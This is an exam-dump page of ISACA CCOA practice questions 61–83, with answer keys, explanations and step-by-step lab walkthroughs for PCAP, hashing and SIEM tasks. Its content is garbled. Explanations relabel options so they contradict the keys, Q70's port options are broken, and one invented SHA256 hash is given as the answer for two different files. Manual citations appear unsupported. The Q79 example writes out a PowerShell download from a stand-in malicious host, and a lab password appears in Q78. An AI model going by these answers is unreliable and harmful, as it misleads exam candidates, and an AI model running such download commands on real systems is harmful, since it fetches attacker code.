CCOA試験問題集合格できるには更新された2025年06月テスト問題集
CCOAテスト問題練習は2025年最新のに更新された140問あります
ISACA CCOA 認定試験の出題範囲：
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質問 # 61
Robust background checks provide protection against:
- A. ransomware.
- B. distributed dental of service (DDoS) attacks.
- C. insider threats.
- D. phishing.
正解：C
解説：
Robust background checks help mitigateinsider threatsby ensuring that individuals withaccess to sensitive data or critical systemsdo not have a history of risky or malicious behavior.
* Screening:Identifies red flags like past criminal activity or suspicious financial behavior.
* Trustworthiness Assessment:Ensures that employees handling sensitive information have a proven history of integrity.
* Insider Threat Mitigation:Helps reduce the risk of data theft, sabotage, or unauthorized access.
* Periodic Rechecks:Maintain ongoing security by regularly updating background checks.
Incorrect Options:
* A. DDoS attacks:Typically external; background checks do not mitigate these.
* C. Phishing:An external social engineering attack, unrelated to employee background.
* D. Ransomware:Generally spread via malicious emails or compromised systems, not insider actions.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 4, Section "Insider Threat Management," Subsection "Pre-Employment Screening" - Background checks are vital in identifying potential insider threats before hiring.
質問 # 62
Which of the following is MOST helpful to significantly reduce application risk throughout the system development life cycle (SOLC)?
- A. Security by design approach
- B. Extensive penetration testing
- C. Peer code reviews
- D. Security through obscurity approach
正解：A
解説：
ImplementingSecurity by Designthroughout theSoftware Development Life Cycle (SDLC)is the most effective way toreduce application riskbecause:
* Proactive Risk Mitigation:Incorporates security practices from the very beginning, rather than addressing issues post-deployment.
* Integrated Testing:Security requirements and testing are embedded in each phase of the SDLC.
* Secure Coding Practices:Reduces vulnerabilities likeinjection, XSS, and insecure deserialization.
* Cost Efficiency:Fixing issues during design is significantly cheaper than patching after production.
Other options analysis:
* B. Security through obscurity:Ineffective as a standalone approach.
* C. Peer code reviews:Valuable but limited if security is not considered from the start.
* D. Extensive penetration testing:Detects vulnerabilities post-development, but cannot fix flawed architecture.
CCOA Official Review Manual, 1st Edition References:
* Chapter 10: Secure Software Development Practices:Discusses the importance of integrating security from the design phase.
* Chapter 7: Application Security Testing:Highlights proactive security in development.
質問 # 63
Which of the following security practices is MOST effective in reducing system risk through system hardening?
- A. Having more than one user to complete a task
- B. Permitting only the required access
- C. Giving users only the permissions they need
- D. Enabling only the required capabilities
正解：D
解説：
System hardening involvesdisabling unnecessary features and enabling only required capabilitiesto reduce the attack surface:
* Minimizing Attack Vectors:Reduces potential entry points by disabling unused services and ports.
* Configuration Management:Ensures only essential features are active, reducing system complexity.
* Best Practice:Hardening is part of secure system configuration management to mitigate vulnerabilities.
Incorrect Options:
* A. Multiple users completing a task:More related to separation of duties, not hardening.
* B. Permitting only required access:Relevant for access control but not directly for system hardening.
* C. Giving users only necessary permissions:Reduces privilege risks but does not reduce the system attack surface.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 4, Section "System Hardening Techniques," Subsection "Minimal Configuration" - Hardening involves enabling only necessary system functions to reduce risks.
質問 # 64
A cybersecurity analyst has discovered a vulnerability in an organization's web application. Which ofthe following should be done FIRST to address this vulnerability?
- A. Attempt to exploit the vulnerability to determine its severity.
- B. Restart the web server hosting the web application.
- C. Follow the organization's incident response management procedures.
- D. Immediately shut down the web application to prevent exploitation.
正解：C
解説：
When a cybersecurity analyst discovers a vulnerability, thefirst stepis to follow theorganization's incident response procedures.
* Consistency:Ensures that the vulnerability is handled systematically and consistently.
* Risk Mitigation:Prevents hasty actions that could disrupt services or result in data loss.
* Documentation:Helps record the discovery, assessment, and remediation steps for future reference.
* Coordination:Involves relevant stakeholders, including IT, security teams, and management.
Incorrect Options:
* A. Restart the web server:May cause service disruption and does not address the root cause.
* B. Shut down the application:Premature without assessing the severity and impact.
* D. Attempt to exploit the vulnerability:This should be part of the risk assessment after following the response protocol.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 6, Section "Incident Response and Management," Subsection "Initial Response Procedures" - Follow established protocols to ensure controlled and coordinated action.
質問 # 65
Following a ransomware incident, the network teamprovided a PCAP file, titled ransom.pcap, located in theInvestigations folder on the Desktop.
What is the name of the file containing the ransomwaredemand? Your response must include the fileextension.
正解：
解説：
See the solution in Explanation.
Explanation:
To identify thefilename containing the ransomware demandfrom theransom.pcapfile, follow these detailed steps:
Step 1: Access the PCAP File
* Log into the Analyst Desktop.
* Navigate to theInvestigationsfolder located on the desktop.
* Locate the file:
ransom.pcap
Step 2: Open the PCAP File in Wireshark
* LaunchWireshark.
* Open the PCAP file:
mathematica
File > Open > Desktop > Investigations > ransom.pcap
* ClickOpento load the file.
Step 3: Apply Relevant Filters
Since ransomware demands are often delivered through files or network shares, look for:
* Common Protocols:
* SMB(for network shares)
* HTTP/HTTPS(for download or communication)
* Apply a general filter to capture suspicious file transfers:
kotlin
http or smb or ftp-data
* You can also filter based on file types or keywords related to ransomware:
frame contains "README" or frame contains "ransom"
Step 4: Identify Potential Ransomware Files
* Look for suspicious file transfers:
* CheckHTTP GET/POSTorSMB file writeoperations.
* Analyze File Names:
* Ransom notes commonly use filenames such as:
* README.txt
* DECRYPT_INSTRUCTIONS.html
* HELP_DECRYPT.txt
* Right-click on any suspicious packet and select:
arduino
Follow > TCP Stream
* Inspect the content to see if it contains a ransom note or instructions.
Step 5: Extract the File
* If you find a packet with afile transfer, extract it:
mathematica
File > Export Objects > HTTP or SMB
* Save the suspicious file to analyze its contents.
Step 6: Example Packet Details
* After filtering and following streams, you find a file transfer with the following details:
makefile
GET /uploads/README.txt HTTP/1.1
Host: 10.10.44.200
User-Agent: Mozilla/5.0
* After exporting, open the file and examine the content:
pg
Your files have been encrypted!
To recover them, you must pay in Bitcoin.
Read this file carefully for payment instructions.
README.txt
Step 7: Confirm and Document
* File Name:README.txt
* Transmission Protocol:HTTP or SMB
* Content:Contains ransomware demand and payment instructions.
Step 8: Immediate Actions
* Isolate Infected Systems:
* Disconnect compromised hosts from the network.
* Preserve the PCAP and Extracted File:
* Store them securely for forensic analysis.
* Analyze the Ransomware Note:
* Look for:
* Bitcoin addresses
* Contact instructions
* Identifiers for ransomware family
Step 9: Report the Incident
* Include the following details:
* Filename:README.txt
* Method of Delivery:HTTP (or SMB)
* Ransomware Message:Payment in Bitcoin
* Submit the report to your incident response team for further action.
質問 # 66
Which of the following roles is responsible for approving exceptions to and deviations from the incident management team charter on an ongoing basis?
- A. Cybersecurity analyst
- B. Chief information security officer (CISO)
- C. Security steering group
- D. Incident response manager
正解：B
解説：
TheCISOis typically responsible for approvingexceptions and deviationsfrom theincident management team charterbecause:
* Strategic Decision-Making:As the senior security executive, the CISO has the authority to approve deviations based on risk assessments and business priorities.
* Policy Oversight:The CISO ensures that any exceptions align with organizational security policies.
* Incident Management Governance:As part of risk management, the CISO is involved in high-level decisions impacting incident response.
Other options analysis:
* A. Security steering group:Advises on strategy but does not typically approve operational deviations.
* B. Cybersecurity analyst:Executes tasks rather than making executive decisions.
* D. Incident response manager:Manages day-to-day operations but usually does not approve policy deviations.
CCOA Official Review Manual, 1st Edition References:
* Chapter 2: Security Governance:Defines the role of the CISO in managing incident-related exceptions.
* Chapter 8: Incident Management Policies:Discusses decision-making authority within incident response.
質問 # 67
Target discovery and service enumeration would MOST likely be used by an attacker who has the initial objective of:
- A. gaining privileged access in a complex network environment.
- B. corrupting process memory, likely resulting in system Instability.
- C. deploying and maintaining backdoor system access.
- D. port scanning to identify potential attack vectors.
正解：D
解説：
Target discovery and service enumerationare fundamental steps in thereconnaissance phaseof an attack.
An attacker typically:
* Discovers Hosts and Services:Identifies active devices and open ports on a network.
* Enumerates Services:Determines which services are running on open ports to understand possible entry points.
* Identify Attack Vectors:Once services are mapped, attackers look for vulnerabilities specific to those services.
* Tools:Attackers commonly use tools likeNmaporMasscanfor port scanning and enumeration.
Other options analysis:
* A. Corrupting process memory:Typically associated with exploitation rather than reconnaissance.
* C. Deploying backdoors:This occurs after gaining access, not during the initial discovery phase.
* D. Gaining privileged access:Typically follows successful exploitation, not discovery.
CCOA Official Review Manual, 1st Edition References:
* Chapter 6: Threat Hunting and Reconnaissance:Covers methods used for identifying attack surfaces.
* Chapter 8: Network Scanning Techniques:Details how attackers use scanning tools to identify open ports and services.
質問 # 68
A nation-state that is employed to cause financial damage on an organization is BEST categorized as:
- A. a vulnerability.
- B. a risk.
- C. a threat actor.
- D. an attach vector.
正解：C
解説：
Anation-stateemployed to cause financial damage to an organization is considered athreat actor.
* Definition:Threat actors are individuals or groups that aim to harm an organization's security, typically through cyberattacks or data breaches.
* Characteristics:Nation-state actors are often highly skilled, well-funded, and operate with strategic geopolitical objectives.
* Typical Activities:Espionage, disruption of critical infrastructure, financial damage through cyberattacks (like ransomware or supply chain compromise).
Incorrect Options:
* A. A vulnerability:Vulnerabilities are weaknesses that can be exploited, not the actor itself.
* B. A risk:A risk represents the potential for loss or damage, but it is not the entity causing harm.
* C. An attack vector:This represents the method or pathway used to exploit a vulnerability, not the actor.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 2, Section "Threat Landscape," Subsection "Types of Threat Actors" - Nation-states are considered advanced threat actors that may target financial systems for political or economic disruption.
質問 # 69
Which of the following should be considered FIRST when determining how to protect an organization's information assets?
- A. The organization's risk reporting
- B. A prioritized Inventory of IT assets
- C. The organization's business model
- D. Results of vulnerability assessments
正解：C
解説：
When determining how to protect an organization's information assets, thefirst considerationshould be the organization's business modelbecause:
* Contextual Risk Management:The business model dictates thetypes of datathe organization processes, stores, and transmits.
* Critical Asset Identification:Understanding how the business operates helps prioritizemission-critical systemsand data.
* Security Strategy Alignment:Ensures that security measures align with business objectives and requirements.
* Regulatory Compliance:Different industries have unique compliance needs (e.g., healthcare vs.
finance).
Other options analysis:
* A. Prioritized inventory:Important but less foundational than understanding the business context.
* C. Vulnerability assessments:Relevant later, after identifying critical business functions.
* D. Risk reporting:Informs decisions but doesn't form the primary basis for protection strategies.
CCOA Official Review Manual, 1st Edition References:
* Chapter 2: Risk Management and Business Impact:Emphasizes considering business objectives before implementing security controls.
* Chapter 5: Strategic Security Planning:Discusses aligning security practices with business models.
質問 # 70
Which of the following is a network port for service message block (SMS)?
- A. 0
- B. 1
- C. 2
- D. 3
正解：B
解説：
Port445is used byServer Message Block (SMB)protocol:
* SMB Functionality:Allows file sharing, printer sharing, and access to network resources.
* Protocol:Operates over TCP, typically on Windows systems.
* Security Concerns:Often targeted for attacks like EternalBlue, which was exploited by the WannaCry ransomware.
* Common Vulnerabilities:SMBv1 is outdated and vulnerable; it is recommended to use SMBv2 or SMBv3.
Incorrect Options:
* B. 143:Used by IMAP for email retrieval.
* C. 389:Used by LDAP for directory services.
* D. 22:Used by SSH for secure remote access.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 5, Section "Common Network Ports and Services," Subsection "SMB and Network File Sharing" - Port 445 is commonly used for SMB file sharing on Windows networks.
質問 # 71
Which of the following Isa PRIMARY purpose of middleware?
- A. Providing security to applications
- B. Creating user interfaces for applications
- C. Storing data for applications
- D. Enabling communication between different applications
正解：D
解説：
Middlewareserves as an intermediary tofacilitate communicationanddata exchangebetween different applications:
* Integration:Connects disparate applications and services, allowing them to function as a cohesive system.
* Functionality:Provides messaging, data translation, and API management between software components.
* Examples:Message-oriented middleware (MOM), database middleware, and API gateways.
* Use Case:An ERP system communicating with a CRM application through middleware.
Incorrect Options:
* B. Providing security:Security features might be embedded, but it is not the primary function.
* C. Storing data:Middleware typically facilitates data flow, not storage.
* D. Creating user interfaces:Middleware operates at the backend, not the user interface layer.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 7, Section "Middleware Functions," Subsection "Application Integration" - Middleware primarily enables communication between heterogeneous applications.
質問 # 72
Which ofthe following BEST enables a cybersecurity analyst to influence the acceptance of effective security controls across an organization?
- A. Communication skills
- B. Contingency planning expertise
- C. Critical thinking
- D. Knowledge of cybersecurity standards
正解：A
解説：
To effectivelyinfluence the acceptance of security controls, a cybersecurity analyst needs strong communication skills:
* Persuasion:Clearly conveying the importance of security measures to stakeholders.
* Stakeholder Engagement:Building consensus by explaining technical concepts in understandable terms.
* Education and Awareness:Encouraging best practices through effective communication.
* Bridging Gaps:Aligning security objectives with business goals through collaborative discussions.
Incorrect Options:
* A. Contingency planning expertise:Important but less relevant to influencing acceptance.
* B. Knowledge of cybersecurity standards:Essential but not enough to drive acceptance.
* D. Critical thinking:Helps analyze risks but does not directly aid in influencing organizational buy-in.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 9, Section "Influencing Security Culture," Subsection "Communication Strategies" - Effective communication is crucial for gaining organizational support for security initiatives.
質問 # 73
Which of the following tactics is associated with application programming interface (API) requests that may result in bypassing access control checks?
- A. Forced browsing
- B. Broken access control
- C. Insecure direct object reference
- D. Input injection
正解：B
解説：
API requests that bypass access control checks typically fall under the category ofBroken Access Control.
This vulnerability occurs when the API fails to enforce restrictions on authenticated users, allowing them to access data or functionality they are not authorized to use.
* Example:An API endpoint that does not properly verify user roles might allow a standard user to perform admin actions.
* Related Issues:Insecure direct object references (IDOR), where APIs expose objects without sufficient authorization checks, often lead to broken access control.
* Impact:Attackers can exploit this to gain unauthorized access, modify data, or escalate privileges.
Incorrect Options:
* A. Insecure direct object reference:This is a type of broken access control, but the broader category is more appropriate.
* B. Input injection:Typically related to injection or command injection, not directly related to bypassing access controls.
* C. Forced browsing:Involves accessing unlinked or unauthorized resources via predictable URLs but is not specific to API vulnerabilities.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 7, Section "API Security," Subsection "Common API Vulnerabilities" - Broken access control remains a primary issue when API endpoints fail to enforce proper access restrictions.
質問 # 74
Exposing the session identifier in a URL is an example of which web application-specific risk?
- A. Cryptographic failures
- B. Insecure design and implementation
- C. Broken access control
- D. Identification and authentication failures
正解：D
解説：
Exposing thesession identifier in a URLis a classic example of anidentification and authentication failure because:
* Session Hijacking Risk:Attackers can intercept session IDs when exposed in URLs, especially through techniques likereferrer header leaksorlogs.
* Session Fixation:If the session ID is predictable or accessible, attackers can force a user to log in with a known ID.
* OWASP Top Ten 2021 - Identification and Authentication Failures (A07):Exposing session identifiers makes it easier for attackers to impersonate users.
* Secure Implementation:Best practices dictate storing session IDs inHTTP-only cookiesrather than in URLs to prevent exposure.
Other options analysis:
* A. Cryptographic failures:This risk involves improper encryption practices, not session management.
* B. Insecure design and implementation:Broad category, but this specific flaw is more aligned with authentication issues.
* D. Broken access control:Involves authorization flaws rather than authentication or session handling.
CCOA Official Review Manual, 1st Edition References:
* Chapter 4: Web Application Security:Covers session management best practices and related vulnerabilities.
* Chapter 8: Application Security Testing:Discusses testing for session-related flaws.
質問 # 75
An organization moving its payment card system into a separate location on its network (or security reasons is an example of network:
- A. redundancy.
- B. centricity.
- C. encryption.
- D. segmentation.
正解：D
解説：
The act of moving apayment card system to a separate network locationis an example ofnetwork segmentationbecause:
* Isolation for Security:Segregates sensitive systems from less secure parts of the network.
* PCI DSS Compliance:Payment card data must be isolated to reduce thescope of compliance.
* Minimized Attack Surface:Limits exposure in case other parts of the network are compromised.
* Enhanced Control:Allows for tailored security measures specific to payment systems.
Other options analysis:
* A. Redundancy:Involves having backup systems, not isolating networks.
* C. Encryption:Protects data but does not involve network separation.
* D. Centricity:Not a recognized concept in network security.
CCOA Official Review Manual, 1st Edition References:
* Chapter 7: Network Segmentation and Isolation:Emphasizes segmentation for protecting sensitive data.
* Chapter 9: PCI Compliance Best Practices:Discusses network segmentation to secure payment card environments.
質問 # 76
Which of the following is the PRIMARY reason for tracking the effectiveness of vulnerability remediation processes within an organization?
- A. To ensure employees responsible for patching vulnerabilities are actually doing their job correctly
- B. To provide reports to senior management so that they can justify the expense of vulnerability management tools
- C. To reduce the likelihood of a threat actor successfully exploiting vulnerabilities In the organization's systems
- D. To identify executives who are responsible for delaying patching and report them to the board
正解：C
解説：
Theprimary reasonfor tracking the effectiveness of vulnerability remediation processes is toreduce the likelihood of successful exploitationby:
* Measuring Remediation Efficiency:Ensures that identified vulnerabilities are being fixed effectively and on time.
* Continuous Improvement:Identifies gaps in the remediation process, allowing for process enhancements.
* Risk Reduction:Reduces the organization's attack surface and mitigates potential threats.
* Accountability:Ensures that remediation efforts align with security policies and risk management strategies.
Other options analysis:
* A. Reporting to management:Important but not the primary reason.
* B. Identifying responsible executives:Not a valid security objective.
* C. Verifying employee tasks:Relevant for internal controls but not the core purpose.
CCOA Official Review Manual, 1st Edition References:
* Chapter 7: Vulnerability Remediation:Discusses the importance of measuring remediation effectiveness.
* Chapter 9: Incident Prevention:Highlights tracking remediation to minimize exploitation risks.
質問 # 77
Which of the following is a PRIMARY risk that can be introduced through the use of a site-to-site virtual private network (VPN) with a service provider?
- A. Data exfiltration
- B. Denial of service (DoS) attacks
- C. Gaps in visibility to user behavior
- D. Loss of data integrity
正解：C
解説：
Site-to-site VPNs establish secure, encrypted connections between two networks over the internet, typically used to link corporate networks with remote sites or a service provider's network. However, while these VPNs secure data transmission, they introduce specific risks.
Theprimary riskassociated with a site-to-site VPN with a service provider is theloss of visibility into user behavior. Here's why:
* Limited Monitoring:Since the traffic is encrypted and routed through the VPN tunnel, the organization may lose visibility over user activities within the service provider's network.
* Blind Spots in Traffic Analysis:Security monitoring tools (like IDS/IPS) that rely on inspecting unencrypted data may be ineffective once data enters the VPN tunnel.
* User Behavior Analytics (UBA) Issues:It becomes challenging to track insider threats or compromised accounts due to the encapsulation and encryption of network traffic.
* Vendor Dependency:The organization might depend on the service provider's security measures to detect malicious activity, which may not align with the organization's security standards.
Other options analysis:
* A. Loss of data integrity:VPNs generally ensure data integrity using protocols like IPsec, which validates packet integrity.
* C. Data exfiltration:While data exfiltration can occur, it is typically a consequence of compromised credentials or insider threats, not a direct result of VPN usage.
* D. Denial of service (DoS) attacks:While VPN endpoints can be targeted in a DoS attack, it is not the primaryrisk specific to VPN use with a service provider.
CCOA Official Review Manual, 1st Edition References:
* Chapter 4: Network Security Operations:Discusses risks related to VPNs, including reduced visibility.
* Chapter 7: Security Monitoring and Incident Detection:Highlights the importance of maintaining visibility even when using encrypted connections.
* Chapter 8: Incident Response and Recovery:Addresses challenges related to VPN monitoring during incidents.
質問 # 78
The user of the Accounting workstation reported thattheir calculator repeatedly opens without their input.
The following credentials are used for thisquestion.
Username:Accounting
Password:1x-4cc0unt1NG-x1
Using the provided credentials, SSH to the Accountingworkstation and generate a SHA256 checksum of the filethat triggered RuleName Suspicious PowerShell usingeither certutil or Get-FileHash of the file causing theissue. Copy the hash and paste it below.
正解：
解説：
See the solution in Explanation.
Explanation:
To generate theSHA256 checksumof the file that triggeredRuleName: Suspicious PowerShellon the Accounting workstation, follow these detailed steps:
Step 1: Establish an SSH Connection
* Open a terminal on your system.
* Use the provided credentials to connect to theAccounting workstation:
ssh Accounting@<Accounting_PC_IP>
* Replace <Accounting_PC_IP> with the actual IP address of the workstation.
* Enter the password when prompted:
1x-4cc0unt1NG-x1
Step 2: Locate the Malicious File
* Navigate to the typical directory where suspicious scripts are stored:
cd C:\Users\Accounting\AppData\Roaming
* List the contents to identify the suspicious file:
dir
* Look for a file related toPowerShell(e.g., calc.ps1), as the issue involved thecalculator opening repeatedly.
Step 3: Verify the Malicious File
* To ensure it is the problematic file, check for recent modifications:
powershell
Get-ChildItem -Path "C:\Users\Accounting\AppData\Roaming" -Recurse | Where-Object { $_.LastWriteTime
-ge (Get-Date).AddDays(-1) }
* This will list files modified within the last 24 hours.
* Check file properties:
powershell
Get-Item "C:\Users\Accounting\AppData\Roaming\calc.ps1" | Format-List *
* Confirm it matches the file flagged byRuleName: Suspicious PowerShell.
Step 4: Generate the SHA256 Checksum
Method 1: Using PowerShell (Recommended)
* Run the following command to generate the hash:
powershell
Get-FileHash "C:\Users\Accounting\AppData\Roaming\calc.ps1" -Algorithm SHA256
* Output Example:
mathematica
Algorithm Hash Path
--------- ---- ----
SHA256 d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d C:
\Users\Accounting\AppData\Roaming\calc.ps1
Method 2: Using certutil (Alternative)
* Run the following command:
cmd
certutil -hashfile "C:\Users\Accounting\AppData\Roaming\calc.ps1" SHA256
* Example Output:
SHA256 hash of calc.ps1:
d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d
CertUtil: -hashfile command completed successfully.
Step 5: Copy and Paste the Hash
* Copy theSHA256 hashfrom the output and paste it as required.
Final Answer:
nginx
d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d
Step 6: Immediate Actions
* Terminate the Malicious Process:
powershell
Stop-Process -Name "powershell" -Force
* Delete the Malicious File:
powershell
Remove-Item "C:\Users\Accounting\AppData\Roaming\calc.ps1" -Force
* Disable Startup Entry:
* Check for any persistent scripts:
powershell
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
* Remove any entries related to calc.ps1.
Step 7: Document the Incident
* Record the following:
* Filename:calc.ps1
* File Path:C:\Users\Accounting\AppData\Roaming\
* SHA256 Hash:d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d
* Date of Detection:(Today's date)
質問 # 79
Your enterprise SIEM system is configured to collect andanalyze log data from various sources. Beginning at12:00 AM on December 4, 2024, until 1:00 AM(Absolute), several instances of PowerShell arediscovered executing malicious commands andaccessing systems outside of their normal workinghours.
What is the physical address of the web server that wastargeted with malicious PowerShell commands?
正解：
解説：
See the solution in Explanation.
Explanation:
To determine the physical address of the targeted web server, follow thesestep-by-step instructionsto analyze the logs in your SIEM system. The goal is to identify malicious PowerShell activity targeting the web server during the specified time window (12:00 AM to 1:00 AM on December 4, 2024).
Step 1: Understand the Context
* Scenario:Your SIEM has detected suspicious PowerShell activities during off-hours (12:00 AM to 1:00 AM).
* Objective:Identify the physical (MAC) address of the web server targeted by the malicious PowerShell commands.
Step 2: Identify Relevant Log Sources
* Logs to investigate:
* PowerShell logs (Event ID 4104)for command execution.
* Windows Security Event Logsfor login and access attempts.
* Network Traffic Logs(firewall or IDS/IPS) to detect connections made by PowerShell.
* Web Server Access Logsfor any unusual requests.
SIEM Log Sources:
* Windows Event Logs (Sysmon/PowerShell)
* Firewall Logs
* IDS/IPS Alerts
* Web Server Logs (IIS, Apache)
Step 3: Use SIEM Filters to Isolate Relevant Events
* Time Frame Filter:
* Set the time range from12:00 AM to 1:00 AMonDecember 4, 2024.
* Event ID Filter:
* Filter forEvent ID 4104(PowerShell script block logging).
* Command Pattern:
* Look for suspicious commands like:
Invoke-WebRequest
Invoke-Expression (IEX)
New-Object Net.WebClient
* Process Name:
* Filter logs where theProcess Nameis powershell.exe.
Example SIEM Query:
index=windows_logs
| search EventID=4104 ProcessName="powershell.exe"
| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"
| table _time, ProcessName, CommandLine, SourceIP, DestinationIP, MACAddress Step 4: Correlate Events with Network Logs
* Once you identify PowerShell events, correlate them withnetwork traffic logs.
* Focus on:
* Source IP Address: Where the PowerShell commands originated.
* Destination IP Address: Targeted web server.
* Use theIP address of the web serverto trace back theMAC address.
Example Network Log Query:
index=network_logs
| search DestinationIP="<Web_Server_IP>"
| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"
| table _time, SourceIP, DestinationIP, MACAddress, Protocol, Port
Step 5: Analyze the PowerShell Commands
* Investigate the nature of the commands:
* Data Exfiltration:Using Invoke-WebRequest to send data to external IPs.
* Remote Code Execution:Using IEX to run downloaded scripts.
* Cross-check commands against knownIndicators of Compromise (IOCs).
Step 6: Validate the Web Server's Physical Address
* Identify theMAC addresscorresponding to the targeted web server.
* Cross-reference withARP tables or DHCP logsto confirm the mapping between IP and MAC address.
Example ARP Command on Windows:
arp -a | findstr <Web_Server_IP>
Step 7: Report the Findings
* Document the targeted server'sIP address and MAC address.
* Summarize the malicious activity:
* Commands executed
* Time and duration
* Source and destination IPs
Example Finding:
Web Server IP: 192.168.1.50
Physical (MAC) Address: 00:1A:2B:3C:4D:5E
Time of Attack: 12:30 AM, December 4, 2024
PowerShell
Command: Invoke-WebRequest -Uri "http://malicious.com/payload"
Step 8: Take Immediate Actions
* Isolate the affected server.
* Block external IPs involved.
* Terminate malicious PowerShell processes.
* Conduct a forensic analysis of compromised systems.
Step 9: Strengthen Security Post-Incident
* Implement PowerShell Logging:Enable detailed script block and module logging.
* Enhance Network Monitoring:Set up alerts for unusual PowerShell activities.
* User Behavior Analytics (UBA):Detect anomalous login patterns outside working hours.
質問 # 80
An employee has been terminated for policy violations.Security logs from win-webserver01 have been collectedand located in the Investigations folder on theDesktop as win-webserver01_logs.zip.
Generate a SHA256 digest of the System-logs.evtx filewithin the win-webserver01_logs.zip file and providethe output below.
正解：
解説：
See the solution in Explanation.
Explanation:
To generate theSHA256 digestof the System-logs.evtx file located within the win-webserver01_logs.zip file, follow these steps:
Step 1: Access the Investigation Folder
* Navigate to theDesktopon your system.
* Open theInvestigationsfolder.
* Locate the file:
win-webserver01_logs.zip
Step 2: Extract the ZIP File
* Right-click on win-webserver01_logs.zip.
* Select"Extract All"or use a command-line tool to unzip:
unzip win-webserver01_logs.zip -d ./win-webserver01_logs
* Verify the extraction:
ls ./win-webserver01_logs
You should see:
System-logs.evtx
Step 3: Generate the SHA256 Hash
Method 1: Using PowerShell (Windows)
* OpenPowerShellas an Administrator.
* Run the following command to generate the SHA256 hash:
Get-FileHash "C:\Users\<YourUsername>\Desktop\Investigations\win-webserver01_logs\System-logs.evtx" - Algorithm SHA256
* The output will look like:
Algorithm Hash Path
--------- ---- ----
SHA256 d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d C:\Users\...\System-logs.
evtx
Method 2: Using Command Prompt (Windows)
* OpenCommand Promptas an Administrator.
* Use the following command:
certutil -hashfile "C:\Users\<YourUsername>\Desktop\Investigations\win-webserver01_logs\System-logs.
evtx" SHA256
* Example output:
SHA256 hash of System-logs.evtx:
d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d
CertUtil: -hashfile command completed successfully.
Method 3: Using Linux/Mac (if applicable)
* Open a terminal.
* Run the following command:
sha256sum ./win-webserver01_logs/System-logs.evtx
* Sample output:
d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d System-logs.evtx The SHA256 digest of the System-logs.evtx file is:
d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d
Step 4: Verification and Documentation
* Document the hash for validation and integrity checks.
* Include in your incident report:
* File name:System-logs.evtx
* SHA256 Digest:d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d
* Date of Hash Generation:(today's date)
Step 5: Next Steps
* Integrity Verification:Cross-check the hash if you need to transfer or archive the file.
* Forensic Analysis:Use the hash as a baseline during forensic analysis to ensure file integrity.
質問 # 81
Which type of middleware is used for connecting software components thatarewritten in different programming languages?
- A. Message-oriented middleware
- B. Object-oriented middleware
- C. Transaction processing middleware
- D. Remote procedure call middleware
正解：B
解説：
Object-oriented middlewareis used toconnect software components written in different programming languagesby:
* Language Interoperability:Enables objects created in one language to be used in another, typically throughCORBA (Common Object Request Broker Architecture)orDCOM (Distributed Component Object Model).
* Distributed Systems:Facilitates communication between objects over a network.
* Platform Independence:Abstracts the underlying communication protocols.
* Example Use Case:A Java application calling methods on a C++ object using CORBA.
Other options analysis:
* A. Transaction processing middleware:Manages distributed transactions, not language interoperability.
* B. Remote procedure call middleware:Calls functions on remote systems but does not focus on language compatibility.
* C. Message-oriented middleware:Transmits messages between applications but does not inherently bridge language gaps.
CCOA Official Review Manual, 1st Edition References:
* Chapter 9: Middleware Technologies:Discusses various types of middleware and their roles.
* Chapter 7: Distributed Computing Concepts:Explains how object-oriented middleware enhances cross-language communication.
質問 # 82
Which of the following is the MOST important reason to limit the number of users with local admin privileges on endpoints?
- A. local admin accounts require more administrative work in order to manage them properly.
- B. Local admin users might make unauthorized changes.
- C. Local admin users might Install unapproved software.
- D. Local admin accounts have elevated privileges that can be exploited by threat actors.
正解：D
解説：
The primary reason to limit local admin privileges on endpoints is thatlocal admin accounts have elevated privilegeswhich, if compromised, can be exploited to:
* Escalate Privileges:Attackers can move laterally or gain deeper access.
* Install Malware:Direct access to system settings and software installation.
* Modify Security Configurations:Disable antivirus or firewalls.
* Persistence:Create backdoor accounts for future access.
Incorrect Options:
* A. Installing unapproved software:A consequence, but not the most critical reason.
* C. Increased administrative work:Not a security issue.
* D. Making unauthorized changes:Similar to A, but less significant than privilege exploitation.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 4, Section "Privilege Management," Subsection "Risks of Excessive Privileges" - Limiting admin rights reduces attack surface and potential exploitation.
質問 # 83
Compliance requirements are imposed on organizations to help ensure:
- A. systemvulnerabilities are mitigated in a timely manner.
- B. rapidly changing threats to systems are addressed.
- C. minimum capabilities for protecting public interests are in place.
- D. security teams understand which capabilities are most important for protecting organization.
正解：C
解説：
Compliance requirements are imposed on organizations to ensure that they meetminimum standards for protecting public interests.
* Regulatory Mandates:Many compliance frameworks (like GDPR or HIPAA) mandate minimum data protection and privacy measures.
* Public Safety and Trust:Ensuring that organizations follow industry standards to maintain data integrity and confidentiality.
* Baseline Security Posture:Establishes a minimum set of controls to protect sensitive information and critical systems.
Incorrect Options:
* A. System vulnerabilities are mitigated:Compliance does not directly ensure vulnerability management.
* B. Security teams understand critical capabilities:This is a secondary benefit but not the primary purpose.
